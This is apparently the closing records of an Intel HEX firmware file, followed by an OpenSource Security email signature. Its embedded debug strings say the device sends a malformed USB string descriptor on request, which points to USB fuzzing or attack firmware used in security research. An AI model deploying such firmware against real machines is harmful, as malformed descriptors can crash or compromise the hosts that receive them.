:1017D8003E3E0D0A005B44454255475D2009203EC8  
:1017E8003E20537472696E67204465736372697032  
:1017F800746F722072657175657374202D2073651E  
:101808006E64696E67206D616C666F726D656420C9  
:10181800737472696E67212073657475702E7756BC  
:10182800616C75654C203D3D2025690D0A005B48BB  
:10183800455844554D505D0A0D002530325820005A  
:00000001FF  
--   
OpenSource Security Ralf Spenneberg http://www.os-s.de  
Am Bahnhof 3-5 48565 Steinfurt Germany  
Fon: +49(0)2552 638 755 Fax: +49(0)2552 638 757  
`